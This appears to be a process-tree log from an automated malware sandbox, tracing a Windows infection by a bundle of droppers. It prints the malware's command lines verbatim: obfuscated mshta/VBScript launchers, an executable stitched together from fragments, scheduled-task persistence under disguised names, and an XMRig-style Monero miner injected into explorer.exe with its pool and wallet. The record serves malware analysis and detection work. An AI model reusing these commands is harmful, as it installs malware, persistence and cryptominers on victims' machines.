        "C:\Windows\System32\mshta.exe" vbscRIpt: CLOsE ( CREAteoBJect ( "WScRiPT.sHeLL" ). RUn ( "C:\Windows\system32\cmd.exe /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\BEDAQQT.ExE"" ..\BEDAQQT.ExE&&STArT ..\BeDAqQT.EXE -PMDrnm85Xpfala4uMu02 & iF ""-PMDrnm85Xpfala4uMu02"" == """" for %I iN ( ""C:\Users\Admin\AppData\Local\Temp\BEDAQQT.ExE"" ) do taskkill -iM ""%~NXI"" -f " , 0, tRue ) )
        10⤵
        
        PID:3748
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\BEDAQQT.ExE" ..\BEDAQQT.ExE&&STArT ..\BeDAqQT.EXE -PMDrnm85Xpfala4uMu02&iF "-PMDrnm85Xpfala4uMu02" == "" for %I iN ( "C:\Users\Admin\AppData\Local\Temp\BEDAQQT.ExE" ) do taskkill -iM "%~NXI" -f
        11⤵
        
        PID:5480
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBScripT: clOse(cREaTeObJECT( "wscRIPt.SHELL" ).rUN( "cMd /q /R Echo | SeT /P = ""MZ"" > 9Ym~JXRX.Lb3 & COpY /b /Y 9YM~jXrX.Lb3+ OFnDRVX.8L3 + n7gDJN.Z + S0esI.qY + VOPW5P.PE + qDrS.CQ~ + U78WYSY.oFM +f36Uy3.T ..\bJUC.L & DEl /q *& STArt msiexec.exe /Y ..\bjUC.l " , 0, trUE ))
        10⤵
        Blocklisted process makes network request
        Suspicious use of AdjustPrivilegeToken
        
        PID:4164
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /R Echo | SeT /P = "MZ" > 9Ym~JXRX.Lb3 &COpY /b /Y 9YM~jXrX.Lb3+OFnDRVX.8L3+ n7gDJN.Z + S0esI.qY + VOPW5P.PE +qDrS.CQ~+ U78WYSY.oFM +f36Uy3.T ..\bJUC.L& DEl /q *&STArt msiexec.exe /Y ..\bjUC.l
        11⤵
        
        PID:1560
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SeT /P = "MZ" 1>9Ym~JXRX.Lb3"
        12⤵
        
        PID:7448
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" Echo "
        12⤵
        
        PID:7440
        
        C:\Windows\SysWOW64\msiexec.exe
        
        msiexec.exe /Y ..\bjUC.l
        12⤵
        
        PID:7812
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -iM "E5v_XwG9y3AdwUh1zHQWB31i.exe" -f
        9⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:6740
      - C:\Users\Admin\Pictures\Adobe Films\QKOTSAW0D78K5wQ31L64Bql9.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\QKOTSAW0D78K5wQ31L64Bql9.exe"
        6⤵
        Loads dropped DLL
        
        PID:7116
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
        7⤵
        
        PID:2188
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--N3tIj0CCa"
        8⤵
        
        PID:6572
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x204,0x208,0x20c,0x1e0,0x210,0x7ff8e14bdec0,0x7ff8e14bded0,0x7ff8e14bdee0
        9⤵
        
        PID:1652
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x144,0x148,0x14c,0x120,0x150,0x7ff7642e9e70,0x7ff7642e9e80,0x7ff7642e9e90
        10⤵
        
        PID:5220
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1596,7616178499241713394,1206921286925229009,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6572_2009251126" --mojo-platform-channel-handle=1916 /prefetch:8
        9⤵
        
        PID:912
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1596,7616178499241713394,1206921286925229009,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6572_2009251126" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1612 /prefetch:2
        9⤵
        
        PID:3532
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1596,7616178499241713394,1206921286925229009,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6572_2009251126" --mojo-platform-channel-handle=2304 /prefetch:8
        9⤵
        
        PID:5212
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1596,7616178499241713394,1206921286925229009,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6572_2009251126" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2648 /prefetch:1
        9⤵
        
        PID:1692
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1596,7616178499241713394,1206921286925229009,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6572_2009251126" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2604 /prefetch:1
        9⤵
        
        PID:5428
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1596,7616178499241713394,1206921286925229009,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6572_2009251126" --mojo-platform-channel-handle=3240 /prefetch:8
        9⤵
        
        PID:8712
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1596,7616178499241713394,1206921286925229009,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6572_2009251126" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3280 /prefetch:2
        9⤵
        
        PID:8884
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1596,7616178499241713394,1206921286925229009,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6572_2009251126" --mojo-platform-channel-handle=3636 /prefetch:8
        9⤵
        
        PID:10460
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1596,7616178499241713394,1206921286925229009,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6572_2009251126" --mojo-platform-channel-handle=3488 /prefetch:8
        9⤵
        
        PID:11012
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1596,7616178499241713394,1206921286925229009,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6572_2009251126" --mojo-platform-channel-handle=2064 /prefetch:8
        9⤵
        
        PID:6548
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1596,7616178499241713394,1206921286925229009,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6572_2009251126" --mojo-platform-channel-handle=836 /prefetch:8
        9⤵
        
        PID:5868
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon209b3da1556b9a317.exe
      4⤵
      PID:2508
    - - C:\Users\Admin\AppData\Local\Temp\7zS039F99F3\Mon209b3da1556b9a317.exe
        
        Mon209b3da1556b9a317.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4072
      - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        6⤵
        
        PID:1472
        
        C:\Users\Admin\AppData\Local\Temp\inst1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\inst1.exe"
        7⤵
        Executes dropped EXE
        
        PID:1948
        
        C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe
        
        "C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:436
        
        C:\Users\Admin\AppData\Roaming\1770398.scr
        
        "C:\Users\Admin\AppData\Roaming\1770398.scr" /S
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3612
        
        C:\Users\Admin\AppData\Roaming\3291570.scr
        
        "C:\Users\Admin\AppData\Roaming\3291570.scr" /S
        8⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1720
        
        C:\Users\Admin\AppData\Roaming\5352073.scr
        
        "C:\Users\Admin\AppData\Roaming\5352073.scr" /S
        8⤵
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5284
        
        C:\Users\Admin\AppData\Roaming\7332261.scr
        
        "C:\Users\Admin\AppData\Roaming\7332261.scr" /S
        8⤵
        Suspicious behavior: SetClipboardViewer
        
        PID:6152
        
        C:\Users\Admin\AppData\Roaming\6163078.scr
        
        "C:\Users\Admin\AppData\Roaming\6163078.scr" /S
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3428
        
        C:\Users\Admin\AppData\Local\Temp\Soft1ww01.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Soft1ww01.exe"
        7⤵
        Executes dropped EXE
        
        PID:1860
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1860 -s 240
        8⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5112
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        7⤵
        Executes dropped EXE
        
        PID:4968
        
        C:\Users\Admin\AppData\Local\Temp\is-7UQI2.tmp\setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-7UQI2.tmp\setup.tmp" /SL5="$10274,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe"
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5268
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
        9⤵
        Executes dropped EXE
        
        PID:5240
        
        C:\Users\Admin\AppData\Local\Temp\is-O89P7.tmp\setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-O89P7.tmp\setup.tmp" /SL5="$302AC,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
        10⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops file in Program Files directory
        Suspicious use of FindShellTrayWindow
        
        PID:5860
        
        C:\Users\Admin\AppData\Local\Temp\is-33TC8.tmp\postback.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-33TC8.tmp\postback.exe" ss1
        11⤵
        Executes dropped EXE
        
        PID:6236
        
        C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5176
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        8⤵
        
        PID:7092
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        9⤵
        Creates scheduled task(s)
        
        PID:6904
        
        C:\Users\Admin\AppData\Roaming\services64.exe
        
        "C:\Users\Admin\AppData\Roaming\services64.exe"
        8⤵
        
        PID:6340
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        9⤵
        
        PID:6108
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        10⤵
        Creates scheduled task(s)
        
        PID:5356
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        9⤵
        
        PID:5552
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
        9⤵
        
        PID:2200
        
        C:\Users\Admin\AppData\Local\Temp\4.exe
        
        "C:\Users\Admin\AppData\Local\Temp\4.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2508
        
        C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        8⤵
        Executes dropped EXE
        
        PID:4252
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4252 -s 240
        9⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:7008
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon20b6f9d5bd03a305.exe
      4⤵
      PID:2856
    - - C:\Users\Admin\AppData\Local\Temp\7zS039F99F3\Mon20b6f9d5bd03a305.exe
        
        Mon20b6f9d5bd03a305.exe
        5⤵
        Executes dropped EXE
        
        PID:3324

C:\Windows\System32\Upfc.exe
C:\Windows\System32\Upfc.exe /launchtype periodic /cv VT1Q9JP5EUetgNU0hPFTwA.0
1⤵
PID:4280

C:\Windows\System32\sihclient.exe
C:\Windows\System32\sihclient.exe /cv 1PsfHjy/6UuX87LF/E3WAg.0.2
1⤵
- Modifies data under HKEY_USERS
PID:664

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
- Modifies data under HKEY_USERS
PID:2272

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s W32Time
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3920

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1068

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 3784 -ip 3784
1⤵
PID:4760

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 2132 -ip 2132
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3508

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2964 -ip 2964
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1780

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:484
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  - Loads dropped DLL
  PID:1412
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1412 -s 456
    3⤵
    - Program crash
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:5252

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 1412 -ip 1412
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4696

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 6268 -ip 6268
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6472

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 352 -p 1860 -ip 1860
1⤵
PID:6972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
PID:5808

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4252 -ip 4252
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5960

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 5748 -ip 5748
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:884

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 352 -p 4476 -ip 4476
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5228

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 696 -p 5312 -ip 5312
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2076

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 704 -p 1092 -ip 1092
1⤵
PID:5488

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 5868 -ip 5868
1⤵
PID:5888

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 6028 -ip 6028
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6972

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbscRIpt: CLOsE ( CREAteoBJect ( "WScRiPT.sHeLL" ). RUn ( "C:\Windows\system32\cmd.exe /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\UQtHry39cfQ1Ym1chERqYlbg.exe"" ..\BEDAQQT.ExE&&STArT ..\BeDAqQT.EXE -PMDrnm85Xpfala4uMu02 & iF """" == """" for %I iN ( ""C:\Users\Admin\Pictures\Adobe Films\UQtHry39cfQ1Ym1chERqYlbg.exe"" ) do taskkill -iM ""%~NXI"" -f " , 0, tRue ) )
1⤵
PID:3712
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\UQtHry39cfQ1Ym1chERqYlbg.exe" ..\BEDAQQT.ExE&&STArT ..\BeDAqQT.EXE -PMDrnm85Xpfala4uMu02&iF "" == "" for %I iN ( "C:\Users\Admin\Pictures\Adobe Films\UQtHry39cfQ1Ym1chERqYlbg.exe" ) do taskkill -iM "%~NXI" -f
  2⤵
  PID:1040
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill -iM "UQtHry39cfQ1Ym1chERqYlbg.exe" -f
    3⤵
    - Kills process with taskkill
    PID:4488

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:6156
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:3344
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3344 -s 456
    3⤵
    - Program crash
    PID:2744

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 660 -p 3344 -ip 3344
1⤵
PID:5424

C:\Users\Admin\AppData\Local\Temp\A9BE.exe
C:\Users\Admin\AppData\Local\Temp\A9BE.exe
1⤵
PID:340
- C:\Users\Admin\AppData\Local\Temp\A9BE.exe
  C:\Users\Admin\AppData\Local\Temp\A9BE.exe
  2⤵
  PID:7844

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 2520 -ip 2520
1⤵
PID:7164

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 704 -p 6448 -ip 6448
1⤵
PID:7180

C:\Users\Admin\AppData\Local\Temp\DC29.exe
C:\Users\Admin\AppData\Local\Temp\DC29.exe
1⤵
PID:6672

C:\Users\Admin\AppData\Local\Temp\1599.exe
C:\Users\Admin\AppData\Local\Temp\1599.exe
1⤵
PID:7992
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 7992 -s 236
  2⤵
  - Program crash
  PID:6584

C:\Users\Admin\AppData\Local\Temp\35D4.exe
C:\Users\Admin\AppData\Local\Temp\35D4.exe
1⤵
PID:2476

C:\Users\Admin\AppData\Local\Temp\496D.exe
C:\Users\Admin\AppData\Local\Temp\496D.exe
1⤵
PID:1872
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1872 -s 280
  2⤵
  - Program crash
  PID:7980

C:\Users\Admin\AppData\Local\Temp\564F.exe
C:\Users\Admin\AppData\Local\Temp\564F.exe
1⤵
PID:6068
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 6068 -s 280
  2⤵
  - Program crash
  PID:7184

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 676 -p 7992 -ip 7992
1⤵
PID:500

C:\Users\Admin\AppData\Local\Temp\6CB6.exe
C:\Users\Admin\AppData\Local\Temp\6CB6.exe
1⤵
PID:7640

C:\Users\Admin\AppData\Local\Temp\7FE1.exe
C:\Users\Admin\AppData\Local\Temp\7FE1.exe
1⤵
PID:7804
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 7804 -s 240
  2⤵
  - Program crash
  PID:2844

C:\Users\Admin\AppData\Local\Temp\8D9E.exe
C:\Users\Admin\AppData\Local\Temp\8D9E.exe
1⤵
PID:2096

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 380 -p 1872 -ip 1872
1⤵
PID:7836

C:\Users\Admin\AppData\Local\Temp\9494.exe
C:\Users\Admin\AppData\Local\Temp\9494.exe
1⤵
PID:7296
- C:\Users\Admin\AppData\Local\Temp\1079300471.exe
  "C:\Users\Admin\AppData\Local\Temp\1079300471.exe"
  2⤵
  PID:1264
- - C:\Windows\SysWOW64\schtasks.exe
    /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"
    3⤵
    - Creates scheduled task(s)
    PID:3492

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 6068 -ip 6068
1⤵
PID:8112

C:\Users\Admin\AppData\Local\Temp\BC90.exe
C:\Users\Admin\AppData\Local\Temp\BC90.exe
1⤵
PID:7232
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 7232 -s 240
  2⤵
  - Checks BIOS information in registry
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Program crash
  PID:5892

C:\Users\Admin\AppData\Local\Temp\C23E.exe
C:\Users\Admin\AppData\Local\Temp\C23E.exe
1⤵
PID:2508
- C:\Users\Admin\AppData\Local\Temp\C23E.exe
  C:\Users\Admin\AppData\Local\Temp\C23E.exe
  2⤵
  PID:1952

C:\Users\Admin\AppData\Local\Temp\D7F9.exe
C:\Users\Admin\AppData\Local\Temp\D7F9.exe
1⤵
PID:5908
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 5908 -s 240
  2⤵
  - Program crash
  PID:11064

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 7804 -ip 7804
1⤵
PID:8100

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 5908 -ip 5908
1⤵
PID:10924

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:11204
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding CFA0236CD38B430DB9AABA8E13D8D8FD C
  2⤵
  PID:1352
